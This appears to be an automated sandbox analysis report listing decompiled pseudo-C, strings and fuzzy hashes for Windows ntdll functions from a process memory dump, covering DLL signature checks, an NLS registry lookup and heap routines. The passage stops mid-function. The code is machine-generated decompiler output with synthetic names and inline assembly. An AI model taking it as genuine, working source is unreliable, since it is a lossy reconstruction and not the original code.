0x1e3a8859
0x1e3a8859
0x1e3a8861
0x1e3a8866
0x1e3a886a
0x1e3a893d
0x1e3a8941
0x00000000
0x1e3a8947
0x1e3a8947
0x1e3a894a
0x1e3a894c
0x00000000
0x1e3a8952
0x1e3a8955
0x1e3a895a
0x1e3a895d
0x1e3a895d
0x1e3a895f
0x1e3a8961
0x1e3a8961
0x1e3a8968
0x00000000
0x00000000
0x1e3a896a
0x1e3a896b
0x1e3a896e
0x00000000
0x1e3a8970
0x1e3a8970
0x1e3a8970
0x1e3a8970
0x1e3a8972
0x1e3a8972
0x1e3a8974
0x00000000
0x1e3a897a
0x1e3a897a
0x1e3a897d
0x00000000
0x1e3a8983
0x1e3f9c65
0x1e3f9c6d
0x1e3f9c72
0x1e3f9c75
0x1e3f9c75
0x1e3f9c82
0x1e3f9c86
0x1e3f9c87
0x1e3f9c88
0x1e3f9c89
0x1e3f9c8c
0x1e3f9c90
0x1e3f9c95
0x1e3f9c97
0x1e3f9ca0
0x1e3f9ca3
0x1e3f9ca9
0x1e3f9ca9
0x00000000
0x1e3f9ca9
0x1e3f9ca3
0x00000000
0x1e3f9c97
0x1e3a897d
0x00000000
0x1e3a8974
0x1e3a8988
0x1e3a8992
0x1e3a8996
0x00000000
0x1e3a8996
0x1e3a894c
0x00000000
0x1e3a8870
0x1e3a887b
0x1e3a887d
0x1e3a887f
0x1e3a8881
0x1e3a8884
0x1e3a8884
0x1e3a8886
0x1e3a8889
0x1e3a888c
0x1e3a888e
0x1e3a8891
0x1e3a8891
0x1e3a8898
0x00000000
0x00000000
0x1e3a889a
0x1e3a889b
0x1e3a889e
0x00000000
0x00000000
0x1e3a88a0
0x1e3a88a8
0x1e3a88b0
0x1e3a88b2
0x1e3a88d3
0x1e3a88d5
0x00000000
0x1e3a88d7
0x1e3a88db
0x1e3a88dc
0x1e3a88e0
0x1e3a88e8
0x1e3a88ee
0x1e3a88f0
0x1e3a88f3
0x1e3a88fc
0x1e3a8901
0x1e3a8906
0x1e3a890c
0x1e3a890c
0x1e3a890f
0x1e3a8916
0x1e3a8917
0x1e3a8918
0x1e3a8919
0x1e3a891a
0x1e3a891f
0x1e3a8921
0x1e3f9c52
0x1e3f9c55
0x1e3f9c5b
0x1e3f9cac
0x1e3f9cc0
0x1e3f9cc0
0x1e3f9c55
0x1e3a8927
0x1e3a8927
0x1e3a892f
0x1e3a8933
0x00000000
0x1e3a88f5
0x1e3a88f5
0x00000000
0x1e3a88f7
0x1e3a88f7
0x1e3a88fa
0x00000000
0x00000000
0x00000000
0x00000000
0x1e3a88fa
0x1e3a88f5
0x1e3a88f3
0x00000000
0x1e3a88d5
0x00000000
0x1e3a88b2
0x1e3a88c9
0x00000000
0x1e3a88c9
0x1e3a887f
0x1e3a886a
0x1e3a8857
0x1e3a8852
0x1e3a88bf
0x1e3a88bf
0x1e3a87aa
0x1e3a87ad
0x1e3a87ae
0x1e3a87b4
0x1e3a87b5
0x1e3a87b6
0x1e3a87b8
0x1e3a87bd
0x1e3a87c1
0x1e3a87f4
0x1e3a87fa
0x00000000
0x00000000
0x00000000
0x1e3a87c1
0x00000000

Strings

minkernel\ntdll\ldrsnap.c, xrefs: 1E3F9C28
LdrpDoPostSnapWork, xrefs: 1E3F9C1E
LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x, xrefs: 1E3F9C18

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID: LdrpDoPostSnapWork$LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x$minkernel\ntdll\ldrsnap.c
API String ID: 2994545307-1948996284
Opcode ID: 6ebb63a53cd8af3bcd38e9e26c318f79a880393ee554ab6c668501b6dc4584fe
Instruction ID: 95d443e4f1f4e49edd788e2d9d7c470d8554e0935fce43297a6feaf7ae5e40a9
Opcode Fuzzy Hash: 6ebb63a53cd8af3bcd38e9e26c318f79a880393ee554ab6c668501b6dc4584fe
Instruction Fuzzy Hash: A291E371A00256DBDB08CF99C8989BAB3BAFF84310F05476DDA05EB244DB31ED81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 1E3A7E41, Relevance: 3.9, Strings: 3, Instructions: 174
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E1E3A7E41(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char _v24;
				signed int _t73;
				void* _t77;
				char* _t82;
				char* _t87;
				signed char* _t97;
				signed char _t102;
				intOrPtr _t107;
				signed char* _t108;
				intOrPtr _t112;
				intOrPtr _t124;
				intOrPtr _t125;
				intOrPtr _t126;

				_t107 = __edx;
				_v12 = __ecx;
				_t125 =  *((intOrPtr*)(__ecx + 0x20));
				_t124 = 0;
				_v20 = __edx;
				if(E1E3ACEE4( *((intOrPtr*)(_t125 + 0x18)), 1, 0xe,  &_v24,  &_v8) >= 0) {
					_t112 = _v8;
				} else {
					_t112 = 0;
					_v8 = 0;
				}
				if(_t112 != 0) {
					if(( *(_v12 + 0x10) & 0x00800000) != 0) {
						_t124 = 0xc000007b;
						goto L8;
					}
					_t73 =  *(_t125 + 0x34) | 0x00400000;
					 *(_t125 + 0x34) = _t73;
					if(( *(_t112 + 0x10) & 0x00000001) == 0) {
						goto L3;
					}
					 *(_t125 + 0x34) = _t73 | 0x01000000;
					_t124 = E1E39C9A4( *((intOrPtr*)(_t125 + 0x18)));
					if(_t124 < 0) {
						goto L8;
					} else {
						goto L3;
					}
				} else {
					L3:
					if(( *(_t107 + 0x16) & 0x00002000) == 0) {
						 *(_t125 + 0x34) =  *(_t125 + 0x34) & 0xfffffffb;
						L8:
						return _t124;
					}
					if(( *( *((intOrPtr*)(_t125 + 0x5c)) + 0x10) & 0x00000080) != 0) {
						if(( *(_t107 + 0x5e) & 0x00000080) != 0) {
							goto L5;
						}
						_t102 =  *0x1e485780; // 0x0
						if((_t102 & 0x00000003) != 0) {
							E1E415510("minkernel\\ntdll\\ldrmap.c", 0x363, "LdrpCompleteMapModule", 0, "Could not validate the crypto signature for DLL %wZ\n", _t125 + 0x24);
							_t102 =  *0x1e485780; // 0x0
						}
						if((_t102 & 0x00000010) != 0) {
							asm("int3");
						}
						_t124 = 0xc0000428;
						goto L8;
					}
					L5:
					if(( *(_t125 + 0x34) & 0x01000000) != 0) {
						goto L8;
					}
					_t77 = _a4 - 0x40000003;
					if(_t77 == 0 || _t77 == 0x33) {
						_v16 =  *((intOrPtr*)(_t125 + 0x18));
						if(E1E3B7D50() != 0) {
							_t82 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						} else {
							_t82 = 0x7ffe0384;
						}
						_t108 = 0x7ffe0385;
						if( *_t82 != 0) {
							if(( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
								if(E1E3B7D50() == 0) {
									_t97 = 0x7ffe0385;
								} else {
									_t97 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								}
								if(( *_t97 & 0x00000020) != 0) {
									E1E417016(0x1490, _v16, 0xffffffff, 0xffffffff, 0, 0);
								}
							}
						}
						if(_a4 != 0x40000003) {
							L14:
							_t126 =  *((intOrPtr*)(_t125 + 0x18));
							if(E1E3B7D50() != 0) {
								_t87 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
							} else {
								_t87 = 0x7ffe0384;
							}
							if( *_t87 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
								if(E1E3B7D50() != 0) {
									_t108 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								}
								if(( *_t108 & 0x00000020) != 0) {
									E1E417016(0x1491, _t126, 0xffffffff, 0xffffffff, 0, 0);
								}
							}
							goto L8;
						} else {
							_v16 = _t125 + 0x24;
							_t124 = E1E3CA1C3( *((intOrPtr*)(_t125 + 0x18)),  *((intOrPtr*)(_v12 + 0x5c)), _v20, _t125 + 0x24);
							if(_t124 < 0) {
								E1E39B1E1(_t124, 0x1490, 0, _v16);
								goto L8;
							}
							goto L14;
						}
					} else {
						goto L8;
					}
				}
			}

0x1e3a7e4c
0x1e3a7e50
0x1e3a7e55
0x1e3a7e58
0x1e3a7e5d
0x1e3a7e71
0x1e3a7f33
0x1e3a7e77
0x1e3a7e77
0x1e3a7e79
0x1e3a7e79
0x1e3a7e7e
0x1e3a7f45
0x1e3f9848
0x00000000
0x1e3f9848
0x1e3a7f4e
0x1e3a7f53
0x1e3a7f5a
0x00000000
0x00000000
0x1e3f985a
0x1e3f9862
0x1e3f9866
0x00000000
0x1e3f986c
0x00000000
0x1e3f986c
0x1e3a7e84
0x1e3a7e84
0x1e3a7e8d
0x1e3f9871
0x1e3a7eb8
0x1e3a7ec0
0x1e3a7ec0
0x1e3a7e9a
0x1e3f987e
0x00000000
0x00000000
0x1e3f9884
0x1e3f988b
0x1e3f98a7
0x1e3f98ac
0x1e3f98b1
0x1e3f98b6
0x1e3f98b8
0x1e3f98b8
0x1e3f98b9
0x00000000
0x1e3f98b9
0x1e3a7ea0
0x1e3a7ea7
0x00000000
0x00000000
0x1e3a7eac
0x1e3a7eb1
0x1e3a7ec6
0x1e3a7ed0
0x1e3f98cc
0x1e3a7ed6
0x1e3a7ed6
0x1e3a7ed6
0x1e3a7ede
0x1e3a7ee3
0x1e3f98e3
0x1e3f98f0
0x1e3f9902
0x1e3f98f2
0x1e3f98fb
0x1e3f98fb
0x1e3f9907
0x1e3f991d
0x1e3f991d
0x1e3f9907
0x1e3f98e3
0x1e3a7ef0
0x1e3a7f14
0x1e3a7f14
0x1e3a7f1e
0x1e3f9946
0x1e3a7f24
0x1e3a7f24
0x1e3a7f24
0x1e3a7f2c
0x1e3f996a
0x1e3f9975
0x1e3f9975
0x1e3f997e
0x1e3f9993
0x1e3f9993
0x1e3f997e
0x00000000
0x1e3a7ef2
0x1e3a7efc
0x1e3a7f0a
0x1e3a7f0e
0x1e3f9933
0x00000000
0x1e3f9933
0x00000000
0x1e3a7f0e
0x00000000
0x00000000
0x00000000
0x1e3a7eb1

Strings

Could not validate the crypto signature for DLL %wZ, xrefs: 1E3F9891
minkernel\ntdll\ldrmap.c, xrefs: 1E3F98A2
LdrpCompleteMapModule, xrefs: 1E3F9898

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: Could not validate the crypto signature for DLL %wZ$LdrpCompleteMapModule$minkernel\ntdll\ldrmap.c
API String ID: 0-1676968949
Opcode ID: 3d6d3a81a6337483c6d1fd0f6341b39ce24ec225569524e30b9623c196a67f10
Instruction ID: 8c671157db62f6c60e94b878cdf0650799bff0a6d9eb81fa6c59cda39c9554cd
Opcode Fuzzy Hash: 3d6d3a81a6337483c6d1fd0f6341b39ce24ec225569524e30b9623c196a67f10
Instruction Fuzzy Hash: 2851DD31A00781DBD712CBA9C884F5A7BE9EFC4314F040B59EA52DB7A1C734E980C791

Uniqueness

Uniqueness Score: -1.00%

Function 1E39E620, Relevance: 3.9, Strings: 3, Instructions: 165
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E1E39E620(void* __ecx, short* __edx, short* _a4) {
				char _v16;
				char _v20;
				intOrPtr _v24;
				char* _v28;
				char _v32;
				char _v36;
				char _v44;
				signed int _v48;
				intOrPtr _v52;
				void* _v56;
				void* _v60;
				char _v64;
				void* _v68;
				void* _v76;
				void* _v84;
				signed int _t59;
				signed int _t74;
				signed short* _t75;
				signed int _t76;
				signed short* _t78;
				signed int _t83;
				short* _t93;
				signed short* _t94;
				short* _t96;
				void* _t97;
				signed int _t99;
				void* _t101;
				void* _t102;

				_t80 = __ecx;
				_t101 = (_t99 & 0xfffffff8) - 0x34;
				_t96 = __edx;
				_v44 = __edx;
				_t78 = 0;
				_v56 = 0;
				if(__ecx == 0 || __edx == 0) {
					L28:
					_t97 = 0xc000000d;
				} else {
					_t93 = _a4;
					if(_t93 == 0) {
						goto L28;
					}
					_t78 = E1E39F358(__ecx, 0xac);
					if(_t78 == 0) {
						_t97 = 0xc0000017;
						L6:
						if(_v56 != 0) {
							_push(_v56);
							E1E3D95D0();
						}
						if(_t78 != 0) {
							L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t78);
						}
						return _t97;
					}
					E1E3DFA60(_t78, 0, 0x158);
					_v48 = _v48 & 0x00000000;
					_t102 = _t101 + 0xc;
					 *_t96 = 0;
					 *_t93 = 0;
					E1E3DBB40(_t80,  &_v36, L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\NLS\\Language");
					_v36 = 0x18;
					_v28 =  &_v44;
					_v64 = 0;
					_push( &_v36);
					_push(0x20019);
					_v32 = 0;
					_push( &_v64);
					_v24 = 0x40;
					_v20 = 0;
					_v16 = 0;
					_t97 = E1E3D9600();
					if(_t97 < 0) {
						goto L6;
					}
					E1E3DBB40(0,  &_v36, L"InstallLanguageFallback");
					_push(0);
					_v48 = 4;
					_t97 = L1E39F018(_v64,  &_v44,  &_v56, _t78,  &_v48);
					if(_t97 >= 0) {
						if(_v52 != 1) {
							L17:
							_t97 = 0xc0000001;
							goto L6;
						}
						_t59 =  *_t78 & 0x0000ffff;
						_t94 = _t78;
						_t83 = _t59;
						if(_t59 == 0) {
							L19:
							if(_t83 == 0) {
								L23:
								E1E3DBB40(_t83, _t102 + 0x24, _t78);
								if(L1E3A43C0( &_v48,  &_v64) == 0) {
									goto L17;
								}
								_t84 = _v48;
								 *_v48 = _v56;
								if( *_t94 != 0) {
									E1E3DBB40(_t84, _t102 + 0x24, _t94);
									if(L1E3A43C0( &_v48,  &_v64) != 0) {
										 *_a4 = _v56;
									} else {
										_t97 = 0xc0000001;
										 *_v48 = 0;
									}
								}
								goto L6;
							}
							_t83 = _t83 & 0x0000ffff;
							while(_t83 == 0x20) {
								_t94 =  &(_t94[1]);
								_t74 =  *_t94 & 0x0000ffff;
								_t83 = _t74;
								if(_t74 != 0) {
									continue;
								}
								goto L23;
							}
							goto L23;
						} else {
							goto L14;
						}
						while(1) {
							L14:
							_t27 =  &(_t94[1]); // 0x2
							_t75 = _t27;
							if(_t83 == 0x2c) {
								break;
							}
							_t94 = _t75;
							_t76 =  *_t94 & 0x0000ffff;
							_t83 = _t76;
							if(_t76 != 0) {
								continue;
							}
							goto L23;
						}
						 *_t94 = 0;
						_t94 = _t75;
						_t83 =  *_t75 & 0x0000ffff;
						goto L19;
					}
				}
			}

0x1e39e620
0x1e39e628
0x1e39e62f
0x1e39e631
0x1e39e635
0x1e39e637
0x1e39e63e
0x1e3f5503
0x1e3f5503
0x1e39e64c
0x1e39e64c
0x1e39e651
0x00000000
0x00000000
0x1e39e661
0x1e39e665
0x1e3f542a
0x1e39e715
0x1e39e71a
0x1e39e71c
0x1e39e720
0x1e39e720
0x1e39e727
0x1e39e736
0x1e39e736
0x1e39e743
0x1e39e743
0x1e39e673
0x1e39e678
0x1e39e67d
0x1e39e682
0x1e39e685
0x1e39e692
0x1e39e69b
0x1e39e6a3
0x1e39e6ad
0x1e39e6b1
0x1e39e6b2
0x1e39e6bb
0x1e39e6bf
0x1e39e6c0
0x1e39e6c8
0x1e39e6cc
0x1e39e6d5
0x1e39e6d9
0x00000000
0x00000000
0x1e39e6e5
0x1e39e6ea
0x1e39e6f9
0x1e39e70b
0x1e39e70f
0x1e3f5439
0x1e3f545e
0x1e3f545e
0x00000000
0x1e3f545e
0x1e3f543b
0x1e3f543e
0x1e3f5440
0x1e3f5445
0x1e3f5472
0x1e3f5475
0x1e3f548d
0x1e3f5493
0x1e3f54a9
0x00000000
0x00000000
0x1e3f54ab
0x1e3f54b4
0x1e3f54bc
0x1e3f54c8
0x1e3f54de
0x1e3f54fb
0x1e3f54e0
0x1e3f54e6
0x1e3f54eb
0x1e3f54eb
0x1e3f54de
0x00000000
0x1e3f54bc
0x1e3f5477
0x1e3f547a
0x1e3f5480
0x1e3f5483
0x1e3f5486
0x1e3f548b
0x00000000
0x00000000
0x00000000
0x1e3f548b
0x00000000
0x00000000
0x00000000
0x00000000
0x1e3f5447
0x1e3f5447
0x1e3f5447
0x1e3f5447
0x1e3f544e
0x00000000
0x00000000
0x1e3f5450
0x1e3f5452
0x1e3f5455
0x1e3f545a
0x00000000
0x00000000
0x00000000
0x1e3f545c
0x1e3f546a
0x1e3f546d
0x1e3f546f
0x00000000
0x1e3f546f
0x1e39e70f

Strings

@, xrefs: 1E39E6C0
InstallLanguageFallback, xrefs: 1E39E6DB
\Registry\Machine\System\CurrentControlSet\Control\NLS\Language, xrefs: 1E39E68C

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: @$InstallLanguageFallback$\Registry\Machine\System\CurrentControlSet\Control\NLS\Language
API String ID: 0-1757540487
Opcode ID: f61d74d4cca2896fbe310d446af41cf2a615b5f710e15ab4e025c8fecd5ed5a6
Instruction ID: f7a6bc9d9fc786be22780f7854aeb49df21622765aed7a9c71105801df382089
Opcode Fuzzy Hash: f61d74d4cca2896fbe310d446af41cf2a615b5f710e15ab4e025c8fecd5ed5a6
Instruction Fuzzy Hash: 7D516D76508386ABC704CF65C450AABB3E9BF88715F410B2EF985D7290EB35DD48C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 1E42FF10, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 44timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 1E42FF9A

Strings

NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p, xrefs: 1E42FF60

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID: DebugPrintTimes
String ID: NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p
API String ID: 3446177414-1911121157
Opcode ID: e5636a77bad662b6f9784f4ac340356b5a59c228dc6333f7f10cee9b9608e39d
Instruction ID: 5712595a2432d5c15141fd5f1542ab0e6287df3180caed91a65d1411042dc28d
Opcode Fuzzy Hash: e5636a77bad662b6f9784f4ac340356b5a59c228dc6333f7f10cee9b9608e39d
Instruction Fuzzy Hash: F1110475910184EFDB02CF50CD48F9877B2FF08704F918666E505AB660C739A980CB50

Uniqueness

Uniqueness Score: -1.00%

Function 1E45E539, Relevance: 2.8, Strings: 2, Instructions: 261
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E1E45E539(unsigned int* __ecx, intOrPtr __edx, signed int _a4, signed int _a8) {
				signed int _v20;
				char _v24;
				signed int _v40;
				char _v44;
				intOrPtr _v48;
				signed int _v52;
				unsigned int _v56;
				char _v60;
				signed int _v64;
				char _v68;
				signed int _v72;
				void* __ebx;
				void* __edi;
				char _t87;
				signed int _t90;
				signed int _t94;
				signed int _t100;
				intOrPtr* _t113;
				signed int _t122;
				void* _t132;
				void* _t135;
				signed int _t139;
				signed int* _t141;
				signed int _t146;
				signed int _t147;
				void* _t153;
				signed int _t155;
				signed int _t159;
				char _t166;
				void* _t172;
				void* _t176;
				signed int _t177;
				intOrPtr* _t179;

				_t179 = __ecx;
				_v48 = __edx;
				_v68 = 0;
				_v72 = 0;
				_push(__ecx[1]);
				_push( *__ecx);
				_push(0);
				_t153 = 0x14;
				_t135 = _t153;
				_t132 = E1E45BBBB(_t135, _t153);
				if(_t132 == 0) {
					_t166 = _v68;
					goto L43;
				} else {
					_t155 = 0;
					_v52 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v56 = __ecx[1];
					if( *__ecx >> 8 < 2) {
						_t155 = 1;
						_v52 = 1;
					}
					_t139 = _a4;
					_t87 = (_t155 << 0xc) + _t139;
					_v60 = _t87;
					if(_t87 < _t139) {
						L11:
						_t166 = _v68;
						L12:
						if(_t132 != 0) {
							E1E45BCD2(_t132,  *_t179,  *((intOrPtr*)(_t179 + 4)));
						}
						L43:
						if(_v72 != 0) {
							_push( *((intOrPtr*)(_t179 + 4)));
							_push( *_t179);
							_push(0x8000);
							E1E45AFDE( &_v72,  &_v60);
						}
						L46:
						return _t166;
					}
					_t90 =  *(_t179 + 0xc) & 0x40000000;
					asm("sbb edi, edi");
					_t172 = ( ~_t90 & 0x0000003c) + 4;
					if(_t90 != 0) {
						_push(0);
						_push(0x14);
						_push( &_v44);
						_push(3);
						_push(_t179);
						_push(0xffffffff);
						if(E1E3D9730() < 0 || (_v40 & 0x00000060) == 0 || _v44 != _t179) {
							_push(_t139);
							E1E45A80D(_t179, 1, _v40, 0);
							_t172 = 4;
						}
					}
					_t141 =  &_v72;
					if(E1E45A854(_t141,  &_v60, 0, 0x2000, _t172, _t179,  *_t179,  *((intOrPtr*)(_t179 + 4))) >= 0) {
						_v64 = _a4;
						_t94 =  *(_t179 + 0xc) & 0x40000000;
						asm("sbb edi, edi");
						_t176 = ( ~_t94 & 0x0000003c) + 4;
						if(_t94 != 0) {
							_push(0);
							_push(0x14);
							_push( &_v24);
							_push(3);
							_push(_t179);
							_push(0xffffffff);
							if(E1E3D9730() < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t179) {
								_push(_t141);
								E1E45A80D(_t179, 1, _v20, 0);
								_t176 = 4;
							}
						}
						if(E1E45A854( &_v72,  &_v64, 0, 0x1000, _t176, 0,  *_t179,  *((intOrPtr*)(_t179 + 4))) < 0) {
							goto L11;
						} else {
							_t177 = _v64;
							 *((intOrPtr*)(_t132 + 0xc)) = _v72;
							_t100 = _v52 + _v52;
							_t146 =  *(_t132 + 0x10) & 0x00000ffd | _t177 & 0xfffff000 | _t100;
							 *(_t132 + 0x10) = _t146;
							asm("bsf eax, [esp+0x18]");
							_v52 = _t100;
							 *(_t132 + 0x10) = (_t100 << 0x00000002 ^ _t146) & 0x000000fc ^ _t146;
							 *((short*)(_t132 + 0xc)) = _t177 - _v48;
							_t47 =  &_a8;
							 *_t47 = _a8 & 0x00000001;
							if( *_t47 == 0) {
								E1E3B2280(_t179 + 0x30, _t179 + 0x30);
							}
							_t147 =  *(_t179 + 0x34);
							_t159 =  *(_t179 + 0x38) & 1;
							_v68 = 0;
							if(_t147 == 0) {
								L35:
								E1E3AB090(_t179 + 0x34, _t147, _v68, _t132);
								if(_a8 == 0) {
									E1E3AFFB0(_t132, _t177, _t179 + 0x30);
								}
								asm("lock xadd [eax], ecx");
								asm("lock xadd [eax], edx");
								_t132 = 0;
								_v72 = _v72 & 0;
								_v68 = _v72;
								if(E1E3B7D50() == 0) {
									_t113 = 0x7ffe0388;
								} else {
									_t177 = _v64;
									_t113 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
								}
								if( *_t113 == _t132) {
									_t166 = _v68;
									goto L46;
								} else {
									_t166 = _v68;
									E1E44FEC0(_t132, _t179, _t166, _t177 + 0x1000);
									goto L12;
								}
							} else {
								L23:
								while(1) {
									if(_v72 < ( *(_t147 + 0xc) & 0xffff0000)) {
										_t122 =  *_t147;
										if(_t159 == 0) {
											L32:
											if(_t122 == 0) {
												L34:
												_v68 = 0;
												goto L35;
											}
											L33:
											_t147 = _t122;
											continue;
										}
										if(_t122 == 0) {
											goto L34;
										}
										_t122 = _t122 ^ _t147;
										goto L32;
									}
									_t122 =  *(_t147 + 4);
									if(_t159 == 0) {
										L27:
										if(_t122 != 0) {
											goto L33;
										}
										L28:
										_v68 = 1;
										goto L35;
									}
									if(_t122 == 0) {
										goto L28;
									}
									_t122 = _t122 ^ _t147;
									goto L27;
								}
							}
						}
					}
					_v72 = _v72 & 0x00000000;
					goto L11;
				}
			}

0x1e45e547
0x1e45e549
0x1e45e54f
0x1e45e553
0x1e45e557
0x1e45e55a
0x1e45e55c
0x1e45e55f
0x1e45e561
0x1e45e567
0x1e45e56b
0x1e45e7e2
0x00000000
0x1e45e571
0x1e45e575
0x1e45e577
0x1e45e57b
0x1e45e57c
0x1e45e57d
0x1e45e57e
0x1e45e57f
0x1e45e588
0x1e45e58f
0x1e45e591
0x1e45e592
0x1e45e592
0x1e45e596
0x1e45e59e
0x1e45e5a0
0x1e45e5a6
0x1e45e61d
0x1e45e61d
0x1e45e621
0x1e45e623
0x1e45e630
0x1e45e630
0x1e45e7e6
0x1e45e7eb
0x1e45e7ed
0x1e45e7f4
0x1e45e7fa
0x1e45e7ff
0x1e45e7ff
0x1e45e80a
0x1e45e812
0x1e45e812
0x1e45e5ab
0x1e45e5b4
0x1e45e5b9
0x1e45e5be
0x1e45e5c0
0x1e45e5c2
0x1e45e5c8
0x1e45e5c9
0x1e45e5cb
0x1e45e5cc
0x1e45e5d5
0x1e45e5e4
0x1e45e5f1
0x1e45e5f8
0x1e45e5f8
0x1e45e5d5
0x1e45e602
0x1e45e616
0x1e45e63d
0x1e45e644
0x1e45e64d
0x1e45e652
0x1e45e657
0x1e45e659
0x1e45e65b
0x1e45e661
0x1e45e662
0x1e45e664
0x1e45e665
0x1e45e66e
0x1e45e67d
0x1e45e68a
0x1e45e691
0x1e45e691
0x1e45e66e
0x1e45e6b0
0x00000000
0x1e45e6b6
0x1e45e6bd
0x1e45e6c7
0x1e45e6d7
0x1e45e6d9
0x1e45e6db
0x1e45e6de
0x1e45e6e3
0x1e45e6f3
0x1e45e6fc
0x1e45e700
0x1e45e700
0x1e45e704
0x1e45e70a
0x1e45e70a
0x1e45e713
0x1e45e716
0x1e45e719
0x1e45e720
0x1e45e761
0x1e45e76b
0x1e45e774
0x1e45e77a
0x1e45e77a
0x1e45e78a
0x1e45e791
0x1e45e799
0x1e45e79b
0x1e45e79f
0x1e45e7aa
0x1e45e7c0
0x1e45e7ac
0x1e45e7b2
0x1e45e7b9
0x1e45e7b9
0x1e45e7c7
0x1e45e806
0x00000000
0x1e45e7c9
0x1e45e7d1
0x1e45e7d8
0x00000000
0x1e45e7d8
0x00000000
0x00000000
0x1e45e722
0x1e45e72e
0x1e45e748
0x1e45e74c
0x1e45e754
0x1e45e756
0x1e45e75c
0x1e45e75c
0x00000000
0x1e45e75c
0x1e45e758
0x1e45e758
0x00000000
0x1e45e758
0x1e45e750
0x00000000
0x00000000
0x1e45e752
0x00000000
0x1e45e752
0x1e45e730
0x1e45e735
0x1e45e73d
0x1e45e73f
0x00000000
0x00000000
0x1e45e741
0x1e45e741
0x00000000
0x1e45e741
0x1e45e739
0x00000000
0x00000000
0x1e45e73b
0x00000000
0x1e45e73b
0x1e45e722
0x1e45e720
0x1e45e6b0
0x1e45e618
0x00000000
0x1e45e618

Strings

`, xrefs: 1E45E5D7
`, xrefs: 1E45E670

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: `$`
API String ID: 0-197956300
Opcode ID: 05a91a0fb7c852bb70cf50c65af3218cd2861133de0ca7c3fb946f23ed8e9edd
Instruction ID: 5800011feb4f31091adb4bae0e2a425069b0d7c610611bd496d9ad523ed19521
Opcode Fuzzy Hash: 05a91a0fb7c852bb70cf50c65af3218cd2861133de0ca7c3fb946f23ed8e9edd
Instruction Fuzzy Hash: A3917C756043419BE724CF65C841B1BB7E6AF84754F148A2EF9A9CB380E774E904CB62

Uniqueness

Uniqueness Score: -1.00%

Function 1E4151BE, Relevance: 2.7, Strings: 2, Instructions: 173
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E1E4151BE(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				signed short* _t63;
				signed int _t64;
				signed int _t65;
				signed int _t67;
				intOrPtr _t74;
				intOrPtr _t84;
				intOrPtr _t88;
				intOrPtr _t94;
				void* _t100;
				void* _t103;
				intOrPtr _t105;
				signed int _t106;
				short* _t108;
				signed int _t110;
				signed int _t113;
				signed int* _t115;
				signed short* _t117;
				void* _t118;
				void* _t119;

				_push(0x80);
				_push(0x1e4705f0);
				E1E3ED0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t118 - 0x80)) = __edx;
				_t115 =  *(_t118 + 0xc);
				 *(_t118 - 0x7c) = _t115;
				 *((char*)(_t118 - 0x65)) = 0;
				 *((intOrPtr*)(_t118 - 0x64)) = 0;
				_t113 = 0;
				 *((intOrPtr*)(_t118 - 0x6c)) = 0;
				 *((intOrPtr*)(_t118 - 4)) = 0;
				_t100 = __ecx;
				if(_t100 == 0) {
					 *(_t118 - 0x90) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
					E1E3AEEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					 *((char*)(_t118 - 0x65)) = 1;
					_t63 =  *(_t118 - 0x90);
					_t101 = _t63[2];
					_t64 =  *_t63 & 0x0000ffff;
